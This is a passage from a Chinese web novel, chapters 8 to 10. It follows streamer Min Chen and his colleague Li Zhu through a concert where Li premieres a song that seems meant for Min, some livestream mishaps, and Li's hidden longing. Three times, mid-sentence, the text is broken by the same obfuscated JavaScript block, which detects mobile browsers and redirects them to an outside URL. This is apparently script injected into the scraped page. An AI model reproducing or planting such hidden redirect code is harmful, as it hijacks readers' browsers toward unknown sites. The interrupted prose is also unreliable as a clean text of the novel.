完关于M.六夜竹的直播二创视频,用小号偷偷给对方点了个关注,做完这些关机睡觉。 - 最近几天公司很忙,有线下活动,闵谌在名门属于新人,没机会参加线下活动,李竹向陈嘉炽争取到了一个工作人员的名额给他,说是见见世面。 线下活动演唱会,公司出钱买了几首翻唱歌曲版权,其他人在公司都出过原创歌曲,就比如李竹的原创歌曲有十几首,皇子他们三四首。 公司选的场地不大不小,刚刚好,现场所有工作人员都在忙碌,闵谌戴着帽子黑口罩,手里抱了几件衣服,往那一站就像个小手办似的。 李竹他们在后台做妆造,他一个人坐在舞台下,主要是没事情给他干,只能帮他们拿衣服揣手机,保护贵重物品,避免演唱会开始的时候丢失。 闵谌低头玩地上的小石头,在脚底下反复碾磨,太阳恶劣,照得他懒洋洋的想就地睡一觉。 突然一阵凉快的风吹来,一道人影挡在他前面,他抬头想看看是谁,因为帽檐压得很低,抬头暴露出漂亮白皙的脖颈。 李竹站在他面前为他挡太阳,手持小风扇对着他吹。 李竹今天造型很精致,头发搞了三七分,少了些压迫感,多了几分青少年的感觉,头发喷了发胶上面弄了点细闪,眼妆弄的烟熏妆还戴着口罩,整个人看起来又酷又飒。 这让闵谌的心跳停了一拍。 他看得出神,完全没注意到李竹也在打量他。 两人看了很久,久到身边站着个人也没发现。 “那个打扰一下,请问你是漂亮花儿吗?” 来人也带着口罩,齐肩鲻鱼头,头发做了挑染,脸上戴着墨镜和口罩,穿着打扮跟明星似的。 闵谌张嘴还没来得及说出口,李竹抢先一步开口,“陈嘉炽给你门票了?” 那人环着双手耸肩,理所当然道:“当然,不给我能给谁。” 李竹眼神不算友好:“你那边屁事掰扯清楚再来找他。” 对方伸出一根手指在他面前晃了晃:“那是我跟他的事,你别管,我今天主要是来看他演出的,其次看看你这个直男的老婆是谁。” 说着他一屁股坐到闵谌边上,一手搭着椅子边,侧着看他,用另一只手勾住墨镜边缘,露出一双眼睛看闵谌。 “你好,我是陈嘉炽的未来对象兼粉丝,我叫……” 一只大手横在他面前,然后用中指一点点将对方的墨镜推回去,“滚行不行,再不滚,陈嘉炽三秒杀过来。” 那人哼笑出声:“我刚刚问了,他在厕所呢。” 话音未落,陈嘉炽的呐喊先杀入三人耳朵中。 “付……你大爷的——”紧接着姓付的被陈嘉炽一把拽住后领,“让你少招摇你耳朵聋吗?知不知道我找你多久了!” 姓付的冲他们二人摆摆手,扭头贴着陈嘉炽哄人去了。 闵谌眨巴着大眼睛,对李竹招招手,示意他靠近点,然后小声问:“他是付岁吗?” 李竹惊讶看他:“你怎么知道?” 闵谌继续小声:“听声音很像,传说中的万花丛中过,片叶不沾身的娱乐圈影帝,我以前经常看他电影。” 李竹问:“为什么?” 闵谌又小声道:“边看边骂他,我都选他客串反派的电影看,很气人。” 李竹闻言笑出声来。 8. 第 8 章 演唱会开始后他坐到了工作人员区,所有人的衣服和贵重物品都在他身边,他望着绚丽多彩的灯光,台下是粉丝的欢呼和应援。 令闵谌震惊的是,名门居然会有粉丝应援这个东西,台下彩光一片,歌声震耳欲聋。 台上台下一片欢呼,闵谌安安静静地站在那,抬着头,看着名门同事们光芒四射。 这也是他曾经幻想过的,不需要像大明星那样,只需要一个舞台和光芒,还有台下的粉丝,四周光芒都落在他身上。 回想起以前在前公司遇到的不公与折磨,种种回忆在台上灯光爆发的那一刻像录像带一般从脑中穿过,最后是他一脚踏入了这个叫名门的大家庭。 虽然跟许多同事没多少交集,但他们对待他真的很好,直播时会拉着他一起胡闹,他排不上档的时候会帮他,短短几天的相处,有一瞬间他真的融入到了名门里。 生活无趣久了,偶尔也会向往热闹的生活,他想努力,努力跟他们站在一起。 突然台上音乐骤停,主持人亮相,一顿感谢和介绍之后声音开始高昂,“接下来我们名门会有一首原创新歌将在这个点发布。话不多说,那么有请我们名门男明星六夜竹与他的新歌《光会落在花瓣上》!” 本来跟着粉丝一起鼓掌的闵谌愣住,耳边的掌声与尖叫声如潮水般散去,仿佛失了聪。 他听见自己的心跳声急速加快,一下一下宛若雷霆般响亮。。 他想,应该是个巧合。。 舞台灯光暗下,只留下一道微弱的灯光照在舞台中央,升降台缓缓升起,李竹换了身衣服,衣服是偏休闲那一类潮款,后腰挂着方巾,有股青春年华的少年味。 还未来得及亲眼目睹李竹开口,他被陈嘉炽拉着来到舞台下,粉丝们被警戒线拦着,他就站在警戒线外,只有他一人。 他扭头想问为什么,一回头陈嘉炽不见了。 音乐响起,前奏就带着一种宿命的救赎感。 就好像,一朵花深陷黑暗阴冷的泥沼之中,周围伸手不见五指,身边没有一个伙伴同类,于是那朵花在泥沼中慢慢沉沦,心里一直祈祷有伙伴或者同类能救它回到充满阳光的地面上。 等啊等啊,直到有一天猝然一道光出现,那道光很暖和很舒服,帮忙驱散了身边的阴冷与黑暗,心底里的渴望越来越大,另一只生命力顽强的竹子伸出援手将你带回阳光底下。 宿命的救赎,从那一刻好像得到了论证。 音乐越是达到顶峰,宿命感就越强。。 闵谌眼角划过一滴泪,就算这首歌不是给他的,他能在其中感受到强劲的生命力,就暂且当做是给他的吧。 音乐结束,舞台灯光猛然聚拢,然后落在他身上。 闵谌抱着李竹的衣服仰头站在那,与台上的李竹对视。 身后粉丝疯狂尖叫,大喊着他们的名字。 李竹在台上呼吸喘匀后把话筒递到嘴边,沙哑的声音传遍整个场地,甚至更远的地方。 “花儿。” 闵谌一动不动,嘴里带着哽咽“嗯”了声。 他也不管李竹有没有听到。 他现在对李竹很复杂,说喜欢又怕把这位平时关心他,注意他的大哥给吓跑,说不喜欢实在是难割舍。 算了吧,哥就哥吧,总比一拍两散的好。 “上来把衣服给哥。”李竹单手叉着腰,姿势懒散,站在台上逆着光看他。 闵谌此刻说不出话,感觉有什么东西堵在嗓子眼,上不去下不来,他怕他一开口眼泪会像断线的珠子。 他点点头。 见他点头,李竹往舞台边缘走了两步蹲下,将手递给他,“我拉你。” 闵谌没伸手,反而将衣服递到他手上,还很贴心地拍拍。 李竹:“……” 演唱会结束,陈嘉炽安排请大家吃晚饭,一整局下来闵谌安安静静吃着饭,完全沉浸在自己的世界里。 有人推杯进盏李竹都一一给他挡掉,大家看破不说破。 李竹也看得出来闵谌把自己隔了起来,升起一道屏障。 闵谌的心情很复杂,小世界壁出现一道裂缝,那道光闯入他的小世界,没有任何需求,只是一味地对他好,让人措手不及,不知如何面对。 他承认自己对李竹有好感,但他不能将生活在阳光中的李竹拉入自己的世界,他还没完全被光亮照射,他只得到一星半点的光亮便不敢奢求太多。 先把日子过好,再决定以后的事,先让自己慢慢沉淀,稳定下来,日子好起来时他对李竹的感情还是小鹿乱撞,他自然会出击。 李竹见他一直闷闷不乐的,仿佛身边放了个花盆,花盆里种着一朵还没开放的花。 “闵谌。”李竹突然叫他。 “嗯?”闵谌看他,“竹哥。” 李竹指着自己:“我今儿帅吗?” 闵谌扯着嘴角笑道:“帅,非常帅,很惊艳。” 李竹手指在桌子底下敲了敲他椅子边,“别想了,未来很长不是么?你以后会和我一样,万一比我还牛呢,所以把眼光放长,人要有盼头才有动力,即使落空了,你背后有我。” 想了想又加了句:“有我们。” 闵谌点头:“好。” 边上已经喝得不省人事的皇子听到他们对话,蓦然站起来,表情严肃地把在座的各位扫视一遍。 下一刻,他一巴掌拍在桌上,桌上碗筷跟着跳了一下,皇子大着嗓子道:“对!花儿,你有我们呢!遇到困难跟兄弟们说,大事办不了,小事也别找,电话也常联系,打电话也不一定接哈。” 李竹:“……” 他好不容易把这朵花哄得开了点,这人简直是在捣乱。 闵谌“噗”地一声笑出来,众人纷纷扭头看他。 他声音里是忍不住的颤声,脸上笑容越来越明显,抱歉道:“不好意思,我没忍住。” 说完他捂着眼睛笑了起来。 大家看他状态回归,都跟着笑成一团,包厢里热热闹闹。 后半夜大家再一次烂醉如泥,这次闵谌是清醒的,滴酒未沾。 陈嘉炽长腿交叠,双手给太阳穴按摩,付岁双手搂着他的腰,脑袋在他腹部拱了拱。 付岁腰上趴着妹妹哥,妹妹哥后背上趴着噗噗,其他人有的去厕所,有的在干呕。 等把人全都送回去后闵谌拖着疲惫的身体回家了。 洗漱完直接躺床上,感觉今晚所有运动量全都用在扛这些酒鬼回家上了,今晚堪比他一年的运动量。 睡前刷手机,今天他收到了很多消息,蓝海app后台快被消息挤爆了,点进去卡得不行,反复登录几次才好很多。 私信那栏消息已经99+,主页消息粉丝多了五万粉。 私信里的消息看了几条,几乎都是关于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483919|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他和李竹的事,还有些骂他的,他选择已读不回。 在app上巡视一圈去了视频区,刚进去就是他跟李竹的二创,是演唱会他站在台下的各种角度,最后一张是他仰头与李竹对视,李竹半蹲着朝他伸出手,还有他拍李竹手的那张。 这几张照片都很好看,角度跟灯光都恰到好处,把李竹照得如同神明出现一般。 点开评论区一看,闵谌两眼一黑。 [小道消息,花儿哭了。] [好像是听到那首歌才哭的,心疼宝宝。] [赌一把,《光会落在花瓣上》绝对是写给花儿的。] [那什么,我当时距离花儿比较近,他是被9527拉过来的,把他扔那就走了,当时花儿很懵逼,我们也很懵逼,以为是工作人员,我还想着名门现在工作人员都卡颜了,结果六夜竹在台上叫花儿我们才知道。/捂脸笑] [六夜竹这个狗,活该你有这么好的媳妇儿。] [花儿看着香香软软的,嘿嘿嘿。] 评论区看得他心有点死了。 当时眼泪没控制住,以为戴着帽子和口罩,没人看得出来,谁承想这些粉丝们眼睛视力5.0,拿八倍镜看演唱会。 让闵谌更心死的是他不小心手滑,给这个视频点了个赞,吓得他慌忙取消,取消完直接把手机丢出去。 脸皮在现场已经丢尽了,网络上偷偷刷cp向视频被发现,更加丢脸。 闵谌选择装死,心里打算明天停播一天,借口就说身体不舒服,休息两天,借口想好了,打开银行卡余额瞬间感觉脸皮算什么,丢地上的东西谁喜欢捡起来。 被丢到床角的手机响了声,那声音是蓝海app直播特关开播的独特声响。 有天晚上闵谌刷二创刷得来了兴致,把李竹的直播账号添加为特别关注,这样有什么消息都会提醒。 李竹开播了。 闵谌爬到床尾捡起手机,手指在屏幕上犹犹豫豫半天,还是点进蓝海直播app。 被特别关注的直播头像底下会有一个红色爱心,这个没有,他以为手误点了取消,想也没想又点了特别关注,大大方方点进李竹直播间,悄咪咪观赏直播。 一道横幅出现在直播间。 [欢迎M.漂亮花儿进入直播间。] 闵谌没看到这个横幅,就出现了几秒钟,这几秒钟他喝水润润嗓子回来继续看直播。 看到弹幕齐刷刷扣了一串问号。 闵谌头顶也冒了个大问号出来。 李竹一句话还未说,这问号怎么就扣上了,而且直播间播放器上,李竹的2D建模换成了3D,此刻建模歪着头一动不动,背景音乐放着《光会落在花瓣上》。 他混在人群中跟着扣了个问号。 没几秒有人艾特他。 [@M.漂亮花儿,知道什么叫距离产生美吗?] [@M.漂亮花儿,已知你老公刚刚说才吃完饭回家,你不休息,学你老公呢?] 闵谌:“……” 怪不得M.六夜竹这个账号没有特别关注;怪不得一进来看见问号刷屏,原来是他登错号了。 蓝海app有个特别怪的设置,大小号消息统一通知。 建议蓝海老总少弄一些让人社死的东西。 [M.漂亮花儿:现在就休息,大家再见。微笑挥手/] “上来。” 9. 第 9 章 [M.六夜竹邀请你进入连麦。] 闵谌乖乖上麦,“竹哥。” 李竹问他:“怎么不睡?” 弹幕纷纷化身告状精。 [已知花儿点赞二创老师的作品,然后秒取消。] [所以得知花儿刚刚在看二创老师们的视频。] [不,花儿在光顾竹影摇花cp词条。] 闵谌理不直气不壮反驳弹幕:“没有。” [那是什么?] [截图为证。] [二创老师第一条视频就是你点赞和取消的截图。] 李竹问:“真的?” 闵谌弱弱道:“是。” 李竹:“行。” 闵谌:“?” 行什么? 李竹说:“下麦吧,我给你打电话,你睡觉。” 一脸懵逼的闵谌被李竹轻轻踹下麦序,下一秒手机弹来语音通话。 这年头也是让他跟cp搭档玩上连麦睡觉了。 按下接听,闵谌躺在床上,一边看直播一边语音通话,他看直播没有看弹幕的习惯,于是一放松下来就把弹幕给屏蔽了,单单看李竹一个人。 蓝海app有个毛病,跟人打电话完全听不见直播间的声音,只能听见李竹一个人在那头说话。 此时此刻弹幕已经炸了。 [?] [?] [什么意思?] [公开了是吧?] [我是直男六夜竹~] 李竹这人鬼精鬼精的,他先在微信通话中闭麦,让直播间黑屏,然后跟闵谌说要调试设备,实则在直播间大放厥词。 “咋?他都没意见你们还有意见了,管这么宽呢?不行你们去指挥交通呗,给警察叔叔们放放假得了呗。” 李竹打开直播屏幕,皮套嘴角微微张开,“少来指挥你爹。” 说完他打开微信麦克风,话锋一转:“9527拉我了,我去玩会儿,跟他们打打PK。” 新进入直播间的粉丝冒出一个疑问。 [他直播号这么硬么?这都没被抬。] [一向如此。] [罚款没少交。] [他不仅直播号硬,我们粉丝号也硬。] [六夜竹直播间无法被选中。] 李竹没管弹幕,同意陈嘉炽的邀请,一进来就放着一首《今天你要嫁给我》伴奏。 “昨天已来不及,明天就会可惜~” “今天嫁给我好吗~” 李竹默默听着不吭声,把陈嘉炽麦克风闭掉后跟闵谌聊天。 “睡了?” “没有。” “行。”李竹看了眼时间,聊天间隙在排挡群里扣排,“我今晚可能睡得很晚,下播之后要去排挡,这个月差30多任务没完成。” 闵谌说:“这么多。我这个月没算,下个月才开始算。” 李竹蹙眉,“谁说的?” 闵谌:“管理,我问过了。” 李竹冷着脸道:“他骗你的,睡觉吧,我不吵你,我下播挂。” 闵谌含糊道:“好。” 这边李竹立刻关掉微信麦克风,直接打开直播间麦克风,“陈嘉炽。” “在呢兄弟。”陈嘉炽一听这个声音就不对劲,连忙关掉伴奏,却忘了关音频混响。 “明天来公司,有个合同签一下。”李竹道。 陈嘉炽道:“什么合同?我不在期间不都是你负责么?” 李竹说:“不一样。” 陈嘉炽隔着屏幕,眼皮跳了下。 “行。” 直播间弹幕: [9总依旧实名制上网这一块。] [六夜竹压迫感这一块。] [花儿这个月没工资这一块。] [时隔两年,六夜竹再次在直播间直呼陈总大名。] [为什么你们都知道啊?] [这事一点也不难猜。] 后半夜李竹带着陈嘉炽跟名门好兄弟们玩,各种整活,时不时还要看微信,看看电话有没有被挂断。 直播间粉丝也看得出来这人电子皮套动不动扭头,动不动低头的,纷纷调侃他,他当看不见。 后面一群人又去厅里整活,各种DJ,快把语音厅整成线上酒吧了。 厅里有些粉丝也是夜猫子,跟着胡闹,表情包蹦迪,音乐一响就开始摇。 加上凌晨刚过,陈嘉炽直播间有位粉丝生日,大家玩得更嗨,直到三四点才下班。 李竹下播第一时间去看手机,好在闵谌电话没被挂断。 他洗澡出来躺在床上听着手机里传来微弱的呼吸声,心想闵谌是抱着手机睡觉吧。 越听越不对劲,越听他越火热,身上某处起立,最后实在没忍住把手机带进浴室待了将近一个小时才出来。 出来时围着条浴巾,头发湿哒哒地往下滴水,他坐在落地窗前看着街边的夜景出神。 他喜欢闵谌,从小就喜欢。 跟闵谌一个学校的时候,天天下课去陈嘉炽班里玩,每次都悄悄坐在闵谌身后观察人家后脑勺。 后来因为公司原因,全家搬到国外去生活了一段时间,一直对闵谌心心念念。 大学毕业回国跟以前同学打听闵谌的消息,却只听到只言片语,再无更多消息。 他曾想动用家里关系寻找闵谌,被父亲制止,当时父亲说的他至今记忆犹新。 “李竹,你是我儿子,我希望你能自力更生,就算不为我和你妈,也要为了你想保护的人,我和你妈从小没约束过你任何事,更没教过你利用家里关系去打探一个人的隐私,这是第一次。我现在告诉你,你要用你自己的方式去找他,别想动用家里任何关系,既然喜欢,作为你父亲的我选择尊重并支持,希望你记住我今天说的话。” 这段话像打通了李竹的任督二脉般,不靠家里任何资源,他开始跟陈嘉炽合伙做生意,两人开了家小公司。 经过两年的沉淀,李竹公司开始向直播行业发展,外出谈项目偶然发现了闵谌在一家语音厅公司做直播,并且了解到那家公司老总喜欢男的,私底下天天骚扰公司主播。 他单方面与那家公司解约,跟陈嘉炽开了子公司,专门干语音厅。 他在一年的时间里借助手段打压那家公司,成功将闵谌从中拉了出来,却导致闵谌失去了工作。 那次考核他觉得自己很庆幸当时耐着性子一直考核,就希望能遇到闵谌。 于是老天听到了他的愿望。 闵谌来了。 他也见到了藏在心里十五年的人。 - 闵谌醒来已经日上三竿,这是他睡过最舒服的一次觉。 想看一眼时间,没想到手机关机了,他给手机充电的时间段里房门被叩响。 他顶着一头乱糟糟的头发,打着哈欠揉着眼睛去开门。 闵谌愣住,短短几秒后回神,“啪”一下把门关上。 门外的李竹顶着两个黑眼圈,好像被掏空了似的。 闵谌再次打开门,把人迎进门,还是没忍住问道:“竹哥,我昨晚打呼了吗?” 李竹摇头,把自己摔进沙发里,抬手摆了摆,示意没有的事。 “那你是昨晚跟陈嘉炽去国道了吗?” 李竹爬起来,眼睛直直盯着他,像鬼一样盯着他。 闵谌后退一步,与李竹保持安全距离,避免这人突然爆起给他来一个过肩摔什么的。 盯了一会,到嘴边的话李竹磨了好几遍也没说出口,“没有,昨晚搁厅里跟他们疯到天亮。” 粉丝跟兄弟就是拿来背锅的,一口接一口,今后会更多。 其实昨晚根本睡不着,耳边一直是闵谌睡着的呼吸声,来来回回跑了五六趟厕所,不想挂电话只能跑厕所,一去就是一个多小时。 待电话中断后李竹以为终于能好好睡上一觉了。 没想到陈嘉炽大清早给他打电话,问昨晚什么合同要签,他立马洗漱,早餐对付两口就奔着公司去。 关于闵谌这个月没工资的事谈妥后打算回来补觉,到门口鬼使神差地拐了个弯来敲闵谌家的门。 闵谌很上道:“要不在我这睡会?” 本来觉得很不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483920|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思,他是一个大男人,家就在对面,回去也就两步路的事。 闵谌说可以睡床后,这人美美地脱掉外套,嘴角上扬,钻进闵谌柔软的大床上补觉去了。 被子充满了闵谌身上的水蜜桃味,很香,让人很安心。 他歪头浅浅闻了下,安心地进入睡眠。 闵谌站在房门口看了好一会,轻手轻脚地为他关上门,自己去客厅开直播。 闵谌想,等李竹醒了,他就下播。 做好直播前的准备,他悄悄开播,刚开始直播间人数不是很多,直到弹幕开始刷屏: [挤一挤。] [挤一挤。] [挤一挤。] 他没看懂,直播间粉丝说挤一挤是什么意思。 “挤一挤是什么意思?”闵谌道:“我播不了多久,就播一个小时要去排挡。” [六夜竹没开播,我们就来看你。] [我爱播不在,来你这挤一挤。] 闵谌看到弹幕解释,恍然大悟。 [怎么一大早就直播,还排挡。] [花儿排挡任务多少?] [麻麻们给你过任务。] 闵谌道:“4.0。” 名门排档任务很简单,每个档每位歌手会有相应的任务,主持老师会在整点进行播报。 如1.0=1000钻石,每档结束后,任务还未完成的歌手会收到相应的惩罚,扣钱。 关于扣排,扣排一个小时为一档,57分开始扣排,58分定排,57分发出完整指令并被抽到的歌手既为本档手速档,任务1.0。 起初名门扣排时间一直从57分开始,慢慢地大家开始卡点58分扣,有时甚至59分,任务难度越高,成功的几率越大。 因此有时候闵谌根本排不上档,于是他选择另辟蹊径,56分开始扣,而且把当天任务扣得高一点,或者早上就扣排。 直播间弹幕: [噗噗和皇子他们都扣30.0,你扣4.0月底能完成100.0吗?] [昨晚不是说了吗,这个月他没工资。] [六夜竹解决了啊。] 弹幕愈演愈烈,隐隐有吵架的趋势,闵谌连忙制止: “昨晚我说没工资是排档没工资,直播的工资还是照样发的。” 越解释弹幕吵得越厉害,而且越吵越歪,闵谌甚至开始看不懂弹幕内容了。 [昨晚六夜竹跟陈总谈话,今天不是谈好了?怎么还没排档工资。] [谁知道六夜竹说话能不能信。] [不信他信你?] [俩男的麦麸你们也信?] [不好意思,家产就是这么牛波一,羡慕你就去麦啊。] [六夜竹天天吹牛,你们这些喜欢看男的麦麸的还是人?] [大清亡了,你爹喜欢看什么跟你有半毛钱关系?] [管天管地,你还管人脱裤子放屁?] 闵谌一个头两个大,他不会劝人,只能看着弹幕干急,在直播间说劝解无果,最后放弃看着他们吵。 身后靠近一个人,那人突然伸出双手撑在电脑桌上,以一个把他圈在怀里的姿势出现。 闵谌惊讶,但是自己直播是不是吵到李竹休息了,悄悄问:“你怎么醒了?” 李竹摇头,指着麦克风问:“我说两句?” “啊?可以的。” 李竹对着直播间粉丝道:“别在他直播间带节奏,来我直播间,我俩唠唠。” 直播间诡异地安静了三秒,随后弹幕滚动速度堪比地上出现一百块时所有人都扑上去抢的场景。 [????] [????] [你他喵为什么在花儿家?] [我是直男六夜竹。] [你这个入室抢劫的爱情屠夫!!!] [从你媳妇儿家滚出去!] [六夜竹!我不允许你靠近香香软软的花儿!] [这位男子,请你远离你媳妇儿的生活。] [蒸煮与蒸煮需要保持距离。] 闵谌:“……” 10. 第 10 章 “哥。” 闵谌仰头看他,想问他要不要继续睡会,但话被卡在了嗓子里说不出来。 在他抬头那一瞬间,嘴唇不小心碰到李竹下巴。 触感有些刺,能感受到对方今早没刮胡子,下巴冒了点胡茬出来。 两人同时僵硬。 闵谌没想到两人距离这么近,李竹低头盯着他。 两人距离近在咫尺,只要他再低一点,他们的嘴唇就能碰在一起。 对视了几十秒,闵谌慌慌张张把椅子往后挪,这一挪电竞椅的轮子压到李竹没穿鞋的脚。 李竹保持不动,默默地闭上眼,额角青筋爆起,脖子上的青筋也肉眼可见突出来。 “哥对不起,哥不好意思,我不是故意的,痛不痛。” 越慌越乱,电竞椅轮子来回在他脚趾上碾压,他“呼”了口气捏住闵谌后脖颈,声音沙哑。 “别动,再动我怕我忍不住上手抽你。” 闵谌瞬间不动了,像只被捏住命运的猫。 他在闵谌脖子上捏了捏后缓缓松开手,薄唇紧抿,强忍着疼痛一步一步走到沙发上坐下。 闵谌三两步蹲到他身边,伸手就想去脱他袜子,李竹迅速抓住他手腕,“没事,你不重,就是来回那几下有点疼而已,不用担心。” 闵谌眼泪都快掉出来了,哽咽着:“真的吗?不要骗我。” 李竹点头,轻声安慰:“真的,哥没必要骗你。” “啪嗒。” 一滴滚烫的眼泪掉在他手背上。 李竹最见不得人哭了,还是放在心里藏了十几年的人。 他用另一只手帮闵谌擦掉眼泪,边安慰边哄:“哎哟,掉金豆儿了,没事儿没事儿啊,不哭了没事儿,哥要怪你那会儿就上手抽你了,不哭了,待会直播间听见了又说我欺负你了。” 闵谌抹了一把眼泪,红着眼眶看他,“要不哥还是抽我吧。” 李竹“嚯”了声,眉尾上扬,调侃道:“你还有这癖好呢?” 闵谌不说话了,蹲在地上扣地板。 李竹笑了笑,把人扶起来自己往旁边让了个位置出来,拍拍身旁。 “哥不怪你,你要是过意不去就多跟哥来往。” 闵谌点头。 李竹摸摸他头发,“直播去吧,有事儿叫我。” 闵谌又点头。 他小心翼翼地迈着小碎步坐到电脑面前。 此时的直播间: [半个小时。] [六夜竹不干人事儿!] [六夜竹你睡你同事!你个不要脸的玩意儿!] [好黄的直播间。] [没事~你不重~] [掉金豆了~] [所以你们到底发生了什么!!!!!!] 回想起刚刚发生的事,他脸上慢慢爬上一抹红晕,要不是带着耳机,这会李竹就能看到他耳朵微微滚烫。 没想到李竹会靠这么近,嘴唇磨到胡茬的颗粒感仿佛是在上一秒发生的事。 鬼使神差地,他悄悄摸了摸自己嘴唇,其实还不错。 闵谌把心思放在直播上,时间过得很快,上班唱歌时间也很快,等他下班后李竹在沙发上睡着了。 两条大长腿憋屈地挤在沙发上,脑袋埋在抱枕边。 睡着的李竹少了攻击力,变成一位安安静静美男子,他轮廓很硬朗,下颌线清晰,脖子上还有颗痣。 闵谌蹲着,用手隔空点了一下那颗痣。 他发现李竹的痣很别致,居然长在大动脉的位置,如果扣掉会流很多血吗? 应该不会,人除了皮肤还有脂肪。 这是个很危险的想法,意识到自己在想什么的时候闵谌眼神暗了下去。 看了将近一分多钟的时间,他拿出手机对着李竹睡颜来了几张,其中一张就是那颗痣,只有那颗痣。 闵谌把那颗痣设置成微信头像后勾勾嘴角,起身去拿了一床毛毯给李竹盖着。 哪都可以不盖,肚脐眼儿必须盖,避免着凉。 做完这些以后,他站在旁边又看了一会儿。 看了半个多小时直到腿肚子发酸才想起来吃东西,但是他不知道这里的外卖地址怎么填,因为有门禁卡,外卖不一定能上来。 之前尝试过定位,但他发现定位不准,所以一直不敢点外卖,每天只能等着李竹给他带吃的。 今天本尊就在面前毫无苏醒迹象,晚饭不知道怎么解决,虽然公司就在旁边,但是公司的食堂很难吃,基本上不到饿极了的程度,闵谌不会踏进公司食堂一步。 不知不觉间,他换了个位置,躺到李竹旁边的沙发上跟着睡着了。 再次醒来自己身上盖着他给李竹盖的小毛毯,屋子里弥漫着一股饭菜的香味,肚子不争气地叫了两声。 他有点懵,李竹去哪了,家里的厨房从他搬进来就没怎么用过。 “醒了?” 闵谌闻声回头,李竹腰间系着围裙,手里拿着个锅铲站在厨房门口。 这个画面冲击力有点大,一个一米九的大个,穿着粉红豹围裙。 一瞬间闵谌突然很渴望真的有这么一个家,睡醒有饭吃,回家有人等。 闵谌轻声“嗯”了一下,“醒了。” “醒了就去洗把脸。”李竹道:“洗完坐着等饭吃就行。” 李竹在闵谌睡觉的时间里拿着钥匙出门去菜市场买了些菜回来,天天吃外卖都吃腻了,今天做了几道新菜,卖相看着还不错。 饭桌上闵谌埋头大口大口吃饭,专注的不行,连李竹吃饱了撑着头看他都不知道。 他吃饭没有吧唧嘴的习惯,但是吃饭很专注,也有着自己的饭桌规则——光盘行动。 菜吃不完没关系,米饭必须吃多少盛多少。 吃饱饭,两人坐在客厅聊天。 闵谌化身十万个为什么。 “竹哥,你怎么会做饭的?” 李竹有些莫名其妙地看他一眼,知道对方又开始了,笑着道:“以前在国外吃不惯外国菜,自己学的。” 闵谌羡慕道:“好厉害,要是我会做饭就好了。” 李竹道:“可以去我那吃。” 闵谌道:“去的话需要给钱吗?” 李竹想了想,点头,“需要,一顿饭20块。” 闵谌在心里算了算,一顿饭20,三顿饭60,“好贵,我还是吃外卖吧,竹哥可以给我地址吗?” 李竹斜着坐,手肘搭在沙发背上撑着脑袋摇摇头,“不可以。” “为什么?” “没有为什么。” “怎么会没有为什么呢,你应该告诉我才对。” 李竹说:“这栋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483921|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公寓外卖找不到,只能订公司的地址。” 闵谌陷入沉思。 他想让李竹搬过来跟他一起住,这样不会冷清也不会没饭吃,但是一想到自己的私人空间突然有人到访心底里莫名生出烦躁来。 他能接受跟人亲密接触,但一旦那人踏入自己的安全地盘,他就会感到反感,脾气也会变得暴躁。 心里有两个小人在打架,纠结。 “你希望我搬进来么?”李竹问出个刁钻的问题。 是希望的。 闵谌皱眉,把这个问题在心里反复拆解重合,“不希望,竹哥。” 他有些意外,闵谌从来没拒绝过任何事,今天是第一次。 “为什么呢?” 闵谌抬眼看他,眼里清澈干净,跟本人一样。 他指着自己心脏的位置:“这里生病了。” 后又指着自己的脑子:“这里也生病了。” 他不理解,闵谌看起来除了瘦点、白点,还有些营养不良以外,身体状况没什么问题。 闵谌又道:“我想和你一起住,但是我这里好像很抗拒,我不明白为什么,竹哥,你知道为什么吗?” 说完狠狠用手指戳了两下自己的心脏部位,他握住闵谌的手,开玩笑地摸了两下刚刚被戳到的位置。 “哎哟我天,戳疼了咋办,你没病,你只是没对谁打开心门,等你哪天想开了,把心门打开,让哥进去瞅两眼看看到底咋回事。” 闵谌被逗笑,“哥,你这辈子当我哥行吗?” 李竹想也没想点头:“行啊,只要我活着,我这辈子都是你哥。” - 李竹回到自己公寓,掏出手机搜了一下闵谌的症状,百度说这是回避型人格。 怕纠缠不清,怕亲密,怕被对方施压。 他顿时就黑脸了,在心里骂骂咧咧。 管你七回八回的,过几天直接扛着行李箱踹门强行搬进去住,实在不想踹门把闵谌扛到他这边来。 骂归骂,他怕这一套动作下来,闵谌会跑,会逃避他。 这慢慢来的日子什么时候是个头。 点开跟陈嘉炽对话框,在上面敲敲打打半天一个字也没发出去。 目前有两个办法,温水煮青蛙和强行介入,前者太久,后者不用考虑了,以闵谌那性子,宁愿搬家断连都不想被这么冒犯。 他给自己洗了把脸,让自己清醒冷静不能这么着急,冷静下来后开始直播。 